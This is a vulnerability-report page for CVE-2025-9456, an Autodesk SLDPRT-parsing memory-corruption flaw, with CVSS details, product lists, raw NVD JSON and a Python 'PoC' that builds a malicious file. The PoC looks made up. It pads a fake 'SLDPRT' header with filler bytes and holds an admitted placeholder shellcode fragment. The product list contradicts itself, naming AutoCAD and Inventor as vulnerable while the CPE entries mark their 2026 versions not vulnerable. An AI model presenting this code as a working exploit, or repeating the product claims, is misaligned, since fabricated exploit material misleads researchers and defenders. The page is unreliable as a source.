Security Vulnerability Report
中文
CVE-2025-9456 CVSS 7.8 HIGH

CVE-2025-9456

Published: 2025-12-16 00:16:03
Last Modified: 2026-01-22 15:16:50

Description

A maliciously crafted SLDPRT file, when parsed through certain Autodesk products, can force a Memory corruption vulnerability. A malicious actor can leverage this vulnerability to execute arbitrary code in the context of the current process.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:autodesk:shared_components:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:autodesk:3ds_max:2026:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:a:autodesk:advance_steel:2026:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:a:autodesk:autocad:2026:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:a:autodesk:autocad_architecture:2026:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:a:autodesk:autocad_electrical:2026:*:*:*:*:*:*:* - NOT VULNERABLE
Autodesk AutoCAD < 最新安全更新版本
Autodesk Inventor < 最新安全更新版本
Autodesk Fusion 360 < 最新安全更新版本
其他解析SLDPRT文件的Autodesk产品 < 最新安全更新版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-9456 PoC - Malicious SLDPRT File Generator Note: This is for educational and security research purposes only. Author: Security Researcher """ import struct import os def create_malicious_sldprt(output_path): """ Generate a malicious SLDPRT file that triggers memory corruption in Autodesk products during file parsing. This PoC demonstrates the vulnerability by creating a file with: - Oversized string fields that overflow buffer boundaries - Malformed binary data structures - Crafted geometry data that causes parsing errors """ # SLDPRT file signature (SolidWorks part file) sldprt_header = b'SLDPRT' # File signature # Version information version = b'20.0' # SolidWorks version # Create oversized data that triggers buffer overflow # This is the key to triggering the memory corruption overflow_data = b'A' * 10000 # Long string that exceeds buffer size # Malformed geometry section geometry_header = struct.pack('<I', 0xFFFFFFFF) # Invalid marker geometry_data = b'\x00' * 5000 # Corrupted geometry data # File metadata with oversized fields metadata = { 'author': overflow_data, 'description': b'X' * 8000, 'created_date': b'2' * 4096, 'modified_date': b'3' * 4096, } # Assemble the malicious file malicious_content = bytearray() malicious_content.extend(sldprt_header) malicious_content.extend(version) malicious_content.extend(overflow_data) malicious_content.extend(geometry_header) malicious_content.extend(geometry_data) for key, value in metadata.items(): malicious_content.extend(value) # Write the malicious file with open(output_path, 'wb') as f: f.write(malicious_content) print(f"[+] Malicious SLDPRT file created: {output_path}") print(f"[+] File size: {len(malicious_content)} bytes") print(f"[!] This file triggers memory corruption when parsed by Autodesk products") def create_shellcode_payload(): """ Generate shellcode for code execution This is a placeholder - actual shellcode would be platform-specific """ # Example: Windows x64 calc.exe shellcode (not functional, for reference) shellcode = bytearray([ 0x48, 0x31, 0xC0, # xor rax, rax 0x48, 0x31, 0xFF, # xor rdi, rdi 0x48, 0x31, 0xF6, # xor rsi, rsi 0x48, 0x31, 0xD2, # xor rdx, rdx 0x50, # push rax 0x48, 0xBB, # mov rbx, "calc.exe" ]) return shellcode if __name__ == '__main__': print("=" * 60) print("CVE-2025-9456 PoC - SLDPRT Memory Corruption") print("=" * 60) print("\n[!] DISCLAIMER: This tool is for educational purposes only.\n") output_file = "malicious_crafted_part.sldprt" create_malicious_sldprt(output_file) print("\n[*] To test this vulnerability:") print(" 1. Open the generated .sldprt file with an affected Autodesk product") print(" 2. Observe the application crash or unexpected behavior") print(" 3. With further exploitation, arbitrary code could be executed") print("\n[*] Recommended actions:") print(" - Update Autodesk products to the latest version") print(" - Do not open untrusted SLDPRT files") print(" - Implement file validation and sandboxing")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9456", "sourceIdentifier": "[email protected]", "published": "2025-12-16T00:16:03.463", "lastModified": "2026-01-22T15:16:49.570", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A maliciously crafted SLDPRT file, when parsed through certain Autodesk products, can force a Memory corruption vulnerability. A malicious actor can leverage this vulnerability to execute arbitrary code in the context of the current process."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-787"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:autodesk:shared_components:*:*:*:*:*:*:*:*", "versionEndExcluding": "2026.5", "matchCriteriaId": "28E85F6F-29B5-466C-85AD-79FC25372EFD"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:3ds_max:2026:*:*:*:*:*:*:*", "matchCriteriaId": "B938D507-D95A-4EAD-86AB-9B52A3682414"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:advance_steel:2026:*:*:*:*:*:*:*", "matchCriteriaId": "68738B5A-B918-4CA3-BD13-4040B3219AFC"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad:2026:*:*:*:*:*:*:*", "matchCriteriaId": "8890EECB-7AB5-41A3-8E77-314183BC3AB3"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad_architecture:2026:*:*:*:*:*:*:*", "matchCriteriaId": "CE935915-6926-474F-B5A4-7E77EF7426DD"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad_electrical:2026:*:*:*:*:*:*:*", "matchCriteriaId": "BEC23105-1362-4BFE-9C93-F0AAA5BAF2B0"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad_map_3d:2026:*:*:*:*:*:*:*", "matchCriteriaId": "2DB79016-0BB6-4E8A-8AE3-5AB39A252DED"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad_mechanical:2026:*:*:*:*:*:*:*", "matchCriteriaId": "4A159D88-990D-41D7-B6B0-D97B38241860"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad_mep:2026:*:*:*:*:*:*:*", "matchCriteriaId": "046ADE16-4275-4BEF-9A71-480E709383F7"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:autocad_plant_3d:2026:*:*:*:*:*:*:*", "matchCriteriaId": "EEB9FCDC-6717-44EB-AA55-983A771E2460"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:civil_3d:2026:*:*:*:*:*:*:*", "matchCriteriaId": "3383C40E-DD43-4146-9B58-C44585E40985"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:infraworks:2026:-:*:*:*:*:*:*", "matchCriteriaId": "1B01CD79-B993-47BB-B775-C10422FB956B"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:inventor:2026:*:*:*:*:*:*:*", "matchCriteriaId": "F7393B89-15A9-4709-9FF3-DA1C88770594"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:revit:2026:*:*:*:*:*:*:*", "matchCriteriaId": "58A56B67-B754-4525-995A-F70CAA6B5AAB"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:revit_lt:2026:*:*:*:*:*:*:*", "matchCriteriaId": "DF3C0C68-F0D7-4737-8D37-D99F128DAB47"}, {"vulnerable": false, "criteria": "cpe:2.3:a:autodesk:vault:2026:*:*:*:*:*:*:*", "matchCriteriaId": "08F81FC1-1B7C-40AF-88DB-B62F24CFA21C"}]}]}], "references": [{"url": "https://www.autodesk.com/products/autodesk-access/overview", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.autodesk.com/trust/security-advisories/adsk-sa-2025-0024", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}